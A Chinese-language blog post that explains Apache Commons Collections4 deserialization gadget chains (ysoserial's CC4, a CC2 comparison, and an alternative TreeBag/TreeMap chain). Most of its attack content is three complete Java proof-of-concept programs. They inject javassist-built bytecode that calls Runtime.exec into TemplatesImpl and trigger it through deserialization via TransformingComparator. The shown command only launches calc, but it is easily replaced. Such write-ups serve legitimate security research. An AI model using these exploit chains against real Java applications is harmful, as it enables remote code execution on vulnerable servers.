Java 反序列化漏洞-Apache Commons Collections4-TreeBag攻击链

前言

知识点补充可以看看我前面写的CC2CC3
CC4这条链其实是CC2的变种,与CC2不同的是和CC3一样用了InstantiateTransformer而不是InvokerTransformer触发利用链,ysoserial中用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl。但这条链有点套娃的感觉,没啥意思,这里补充一个对 PriorityQueue 的替代链 TreeBag。

ysoserial中的CC4

ysoserial中的CC4和CC2特别像,只是改成用了InstantiateTransformer而不是InvokerTransformer触发利用链。

PriorityQueue.readObject()
    TransformingComparator.compare()
        InvokerTransformer.transform()
            TemplatesImpl.newTransformer()

这是CC2的利用链

PriorityQueue.readObject()
    TransformingComparator.compare()
        ConstantTransformer.transform()
             InstantiateTransformer.transform()
                   TemplatesImpl.newTransformer()

这是CC4的利用链
从上面我们不难看出,还是可以看到两条链的细微差别,我们之前也说过,CC3产生的目的也就是使用InstantiateTransformer绕过⼀些规则对InvokerTransformer的限制,换而言之InstantiateTransformer可以等效替换InvokerTransformer。
于是乎我们在CC2的POC上做些修改即可得到CC4的POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC41 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] bytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        //byte[] bytes = Base64.decode("恶意类");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        //构造利用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        TransformingComparator comparator = new TransformingComparator(chain);
        //触发利用链
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);
        Field field2 = queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue, comparator);
        Field field3 = queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});
        //序列化  -->  反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

贴上CC2的POC可以对比一下

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2{
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] bytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        //byte[] bytes = Base64.decode("恶意类");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);


        TransformingComparator comparator =  new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);
        Field field2 = queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue, comparator);
        Field field3 = queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});
        //序列化  -->  反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }

}

使用TreeBag的CC4

ysoserial中的CC4还是利用了优先级队列 PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性,配合 TransformingComparator 触发 transformer。
那么除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。
Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数。它有一个子接口 SortedBag,定义了一种可以对其唯一不重复成员排序的 Bag 类型。

TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。

TreeBag 继承自 AbstractMapBag,实现了 SortedBag 接口。初始化 TreeBag 时,会创建一个新的 TreeMap 储存在成员变量 map 里,而排序使用的 Comparator 则直接储存在 TreeMap 中。

TreeBag.readObject

在TreeBag 反序列化时,会将反序列化出来的 Comparator 对象交给 TreeMap 实例化,并调用父类的 doReadObject 方法处理:
在这里插入图片描述

AbstractMapBag.doReadObject

而doReadObject 方法会向 TreeMap 中 put 数据
在这里插入图片描述

TreeMap.put

而TreeMap在put数据时会用compare进行排序
在这里插入图片描述

TreeMap.compare

compare 方法中调用了 comparator 进行比较,那我们就可以接上使用 TransformingComparator 触发后续的逻辑。
在这里插入图片描述

TreeMap

我们回头看看TreeMap的构造函数发现comparator 可控,那POC很容易就可以得到了
在这里插入图片描述

POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;

public class CC42 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] bytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        //byte[] bytes = Base64.decode("恶意类");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        //构造利用链

        Transformer            transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
        TransformingComparator comparator  = new TransformingComparator(transformer);

        // prepare CommonsCollections object entry point
        TreeBag tree = new TreeBag(comparator);
        tree.add(templatesImpl);

        Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
        field.setAccessible(true);
        field.set(transformer, "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(tree);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

调用链

TreeBag.readObject()
   AbstractMapBag.doReadObject()
        TreeMap.put()
            TreeMap.compare()
                TransformingComparator.compare()
                        InvokerTransformer.transform()

参考文章
https://su18.org/post/ysoserial-su18-2/#treebag-treemap

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值